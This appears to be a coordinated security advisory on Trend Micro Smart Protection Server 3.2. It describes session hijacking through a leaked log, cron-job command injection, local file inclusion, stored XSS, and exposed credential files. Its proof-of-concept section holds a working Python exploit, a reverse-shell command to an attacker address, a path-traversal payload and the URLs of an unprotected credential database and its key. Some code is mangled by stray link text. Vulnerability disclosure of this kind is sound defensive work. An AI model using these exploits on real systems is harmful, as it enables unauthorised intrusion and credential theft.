## 3. Vulnerability Description

Trend Micro's website states that:

Trend Micro Smart Protection Server [(http://cwe.mitre.org/data/definitions/532.html)(https://www.coresecurity.com#SPS)] is a next-generation, in-the-cloud based, advanced protection solution. At the core of this solution is an advanced scanning architecture that leverages malware prevention signatures that are stored in-the-cloud. This solution leverages file reputation and Web reputation technology to detect security risks. The technology works by off loading a large number of malware prevention signatures and lists that were previously stored on endpoints to Trend Micro Smart Protection Server.

Multiple vulnerabilities were found in the Smart Protection Server's Administration UI that would allow a remote unauthenticated attacker to execute arbitrary commands on the system.



## 4. Vulnerable Packages

* Trend Micro Smart Protection Server 3.2 (Build 1085)

Other products and versions might be affected, but they were not tested.



## 5. Vendor Information, Solutions and Workarounds

Trend Micro published the following patches:

* TMSPS3.0 - Critical Patch B1354 ([link](http://downloadcenter.trendmicro.com/index.php?clk=tbl&clkval=4556®s=NABU&lang_loc=1#fragment-4628))
* TMSPS3.1 - Critical Patch B1057 ([link](http://downloadcenter.trendmicro.com/index.php?clk=tbl&clkval=4974®s=NABU&lang_loc=1#fragment-5030))



## 6. Credits

These vulnerabilities were discovered and researched by Leandro Barragan and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team.



## 7. Technical Description / Proof of Concept Code

In section 7.1 we describe how an unauthenticated attacker could get a session token to perform authenticated requests against the application.  
Sections 7.2 and 7.3 describe two vectors to achieve remote command execution in the context of the Web application.  
Several public privilege escalation vulnerabilities exist that are still unpatched. In combination with the aforementioned vulnerabilities a remote unauthenticated attacker would be able to execute arbitrary system commands with root privileges.  
Sections 7.4 and 7.5 cover other common Web application vulnerabilities found in the product's console.



### 7.1 Session hijacking via log file disclosure

[[CVE-2017-11398](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-11398)] The application stores diagnostic logs in the /widget/repository/log/diagnostic.log file. Performing a login or some basic browsing will write several entries with the following format:
    

```    
2017-08-18 17:00:38,468,INFO,rti940901j0556161dudhj6805,null,
Notice: Undefined index: param in /var/www/AdminUI/widget/inc/class/common/db/GenericDao.php on line 218
```

              

Each log entry leaks the associated session ID next to the log alert level and can be accessed via HTTP without authenticating to the Web application. Therefore, an unauthenticated attacker can grab this file and hijack active user sessions to perform authenticated requests.



### 7.2 Remote command execution via cron job injection

[[CVE-2017-14094](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-14094)] The script admin_update_program.php is responsible for creating a cron job when software updates are scheduled. The HTTP request contains several parameters that are used without sanitization as part of the cron job created at /var/spool/cron/webserv. We will target the hidTimingMin parameter.

File /var/www/AdminUI/php/admin_update_program.php:
    

```    
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
    [...]

    $arr_au['Program']['AUScheduleTimingMin']= isset($_POST["hidTimingMin"])?$_POST["hidTimingMin"]:"0";

    [...]

    if ( $arr_au['Program']['UseAUSchedule'] == "1"){
        if ( $arr_au['Program']['AUScheduleType'] == "0" ){
            $crontab->setDateParams($arr_au['Program']['AUScheduleTimingMin'], $arr_au['Program']['AUScheduleTimingHour'], "*", "*", "*");
        }else {
            $crontab->setDateParams($arr_au['Program']['AUScheduleTimingMin'], $arr_au['Program']['AUScheduleTimingHour'], "*", "*", $arr_au['Program']['AUScheduleTimingDay']);
        }
        $crontab->setCommand("/usr/tmcss/bin/UpdateManage.exe --Program --Schedule > /dev/null 2>&1");
        $crontab->saveCronFile();
    }
    if(! $crontab->addToCrontab()){
        header( 'Location: admin_update_program.php?status=savecrontaberror&sid='.$session_name ) ;
        exit;
    }
```              

File /var/www/AdminUI/php/inc/crontab.php:
    
    
         
```
function setDateParams($min=NULL, $hour=NULL, $day=NULL, $month=NULL, $dayofweek=NULL){
    if($min=="0")
        $this->minute=0;
    elseif($min)
        $this->minute=$min;
    else
        $this->minute="*";

    if($hour=="0")
        $this->hour=0;
    elseif($hour)
        $this->hour=$hour;
    else
        $this->hour="*";
    $this->month=($month) ? $month : "*";
    $this->day=($day) ? $day : "*";
    $this->dayofweek=($dayofweek != NULL) ? $dayofweek : "*";    
}

function saveCronFile(){
    $command=$this->minute." ".$this->hour." ".$this->day." ".$this->month." ".$this->dayofweek." ".$this->command."n";
    if(!fwrite($this->handle, $command))
        return true;
    else
        return false;
}

function addToCrontab(){
    if(!$this->filename)
        exit('No name specified for cron file');
        $data=array();
        exec("crontab ".escapeshellarg($this->directory.$this->filename),$data,$ret);

        if($ret==0)
            return true;
        else
            return false;
}
```              

The following python script creates a cron job that will run an arbitrary command on every minute. It also leverages the session hijacking vulnerability described in 7.1 to bypass the need of authentication.
    
    
      
```
#!/usr/bin/env python

import requests
import sys

def exploit(host, port, command):
    session_id = get_session_id(host, port)
    print "[+] Obtained session id %s" % session_id
    execute_command(session_id, host, port, command)

def get_session_id(host, port):
    url = "https://%s:%d/widget/repository/log/diagnostic.log" % (host, port)
    r = requests.get(url, verify=False)
    for line in r.text.split('n')[::-1]:
        if "INFO" in line or "ERROR" in line:
            return line.split(',')(http://cwe.mitre.org/data/definitions/98.html)

def execute_command(session_id, host, port, command):
    print "[+] Executing command '%s' on %s:%d" % (command, host, port)
    url = "https://%s:%d/php/admin_update_program.php?sid=%s" % (host, port, session_id)
    multipart_data = {
        "ComponentSchedule": "on",
        "ComponentScheduleOS": "on",
        "ComponentScheduleService": "on",
        "ComponentScheduleWidget": "on",
        "useAUSchedule": "on",
        "auschedule_setting": "1",
        "update_method": "1",
        "update_method3": "on",
        "userfile": "",
        "sid": session_id,
        "hidComponentScheduleOS": "1",
        "hidComponentScheduleService": "1",
        "hidComponentScheduleWidget": "1",
        "hidUseAUSchedule": "1",
        "hidScheduleType": "1",
        "hidTimingDay": "2",
        "hidTimingHour": "2",
        "hidTimingMin": "* * * * * %s #" % command,
        "hidUpdateOption": "1",
        "hidUpdateNowFlag": ""
    }
    r = requests.post(url, data=multipart_data, cookies={session_id: session_id}, verify=False)

    if "MSG_UPDATE_UPDATE_SCHEDULE" in r.text:    
        print "[+] Cron job added, enjoy!"
    else:
        print "[-] Session has probably timed out, try again later!"

if __name__ == "__main__":
    exploit(sys.argv(http://cwe.mitre.org/data/definitions/532.html), int(sys.argv(http://cwe.mitre.org/data/definitions/78.html)), sys.argv(http://cwe.mitre.org/data/definitions/98.html))
```


The following proof of concept opens a reverse shell to the attacker's machine.
    
    
     
```
$ python coso.py 192.168.45.186 4343 'bash -i >& /dev/tcp/192.168.45.80/8888 0>&1'
[+] Obtained session id q514un6ru6stcpf3k0n4putbd3

```              



### 7.3 Remote command execution via local file inclusion

[[CVE-2017-14095](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-14095)] The /widget/inc/widget_package_manager.php script passes user provided input to the PHP require_once function without sanitization. However, there are some restrictions that need to be overcome in order to include arbitrary files, as the application appends PoolManager.php at the end of the filename.

File /var/www/AdminUI/widget/inc/widget_package_manager.php:
    
    
     
```
switch($widgetRequest['act']){
    case "check":
    try{
            // $strUpdateType = widget, configure_widget_and_widget_component
            $strUpdateType = isset($widgetRequest['update_type']) ? $widgetRequest['update_type'] : 'widget';
            $strFuncName = 'is'.WF::getTypeFactory()->getString()->getUpperCamelCase($strUpdateType).'Update';
            $isUpdate = WF::getWidgetPoolFactory()->getWidgetPoolManager($strUpdateType)->$strFuncName();
            [...]
```                            
              

File /var/www/AdminUI/widget/inc/class/widgetPool/WidgetPoolFactory.abstract.php:
    
    
             
```
public function getWidgetPoolManager($strUpdateType = 'widget'){
    if(! isset(self::$instance[__FUNCTION__][$strUpdateType])){
        $strFileName = $this->objFramework->getTypeFactory()->getString()->getUpperCamelCase($strUpdateType);
        require_once (self::getDirnameFile() . '/widget/'.$strFileName.'PoolManager.php');
        $strClassName = 'WF'.$strFileName.'PoolManager';
        self::$instance[__FUNCTION__][$strUpdateType] = new $strClassName($this->objFramework);
    }
    return self::$instance[__FUNCTION__][$strUpdateType];
}
```              

One way for an attacker to place an arbitrary file on the system is to abuse the update process that can be managed from the same product console.

Files downloaded from alternate update sources are stored in the /var/tmcss/activeupdate directory. An attacker can setup a fake update server and trigger an update from it to download the malicious archive.

As an example, we have packed a reverse shell named rshellPoolManager.php into the bf1747402402.zip archive. The following server.ini would instruct the application to download the archive and uncompress it inside /var/tmcss/activeupdate:
    
    
      
```

```                
              

After triggering an update from the Web console, the PHP script is written to the expected location.
    
          
```
[root@ localhost activeupdate]# ls -lha /var/tmcss/activeupdate/ | grep php
-rw-r--r--. 1 webserv webserv 66 ago 25 22:59 rshellPoolManager.php
```              

The final step is to include the script and execute our payload.
    
    
      
```

{"act": "check", "update_type": "../../../../../../../../../var/tmcss/activeupdate/rshell"}
```                
              

Steven Seeley and Roberto Suggi Liverani presented various privilege escalation vectors to move from webserv to root on their presentation "I Got 99 Trends and a # Is All Of Them". Based on our testing the attacks remain unpatched, so we did not try to find additional ways to escalate privileges.



### 7.4 Stored cross-site scripting

[[CVE-2017-14096](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-14096)] The ru parameter of the wcs_bwlists_handler.php script is vulnerable to cross-site scripting. This endpoint is used to manage user defined URLs.

After the rule is inserted, the payload will be executed every time the user opens the user defined URLs section.

The following proof of concept stores code to open an alert box.
    
    
           
```
https://<serverIP>:4343/php/wcs_bwlists_handler.php?sid=2f03bf97fc4912ee&req=mgmt_insert&st=1&ac=0&ru=http%3A%2F%2F%3Cscript%3Ealert(1)%3C%2Fscript%3E&rt=3&ipt=0&ip4=&ip4m=128&cn=&dn=
```              



### 7.5 Improper access control

[[CVE-2017-14097](http://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-14097)] The product console includes widgets that can be used to monitor other servers. Credentials to access the servers being monitored, widget logs and other information reside on a SQLite database which can be accessed without authentication at the following URL:
    
    
```
https://<serverIP>:4343/widget/repository/db/sqlite/tmwf.db
```              

The credentials are stored using AES256 with a dynamic key. However, the key is also placed inside the Web server directories and available for download without authentication.
    
    
```
https://<serverIP>:4343/widget/repository/inc/class/common/crypt/crypt.key
```
              

This would allow an attacker to decrypt the contents of the database, rendering the encryption mechanism useless.
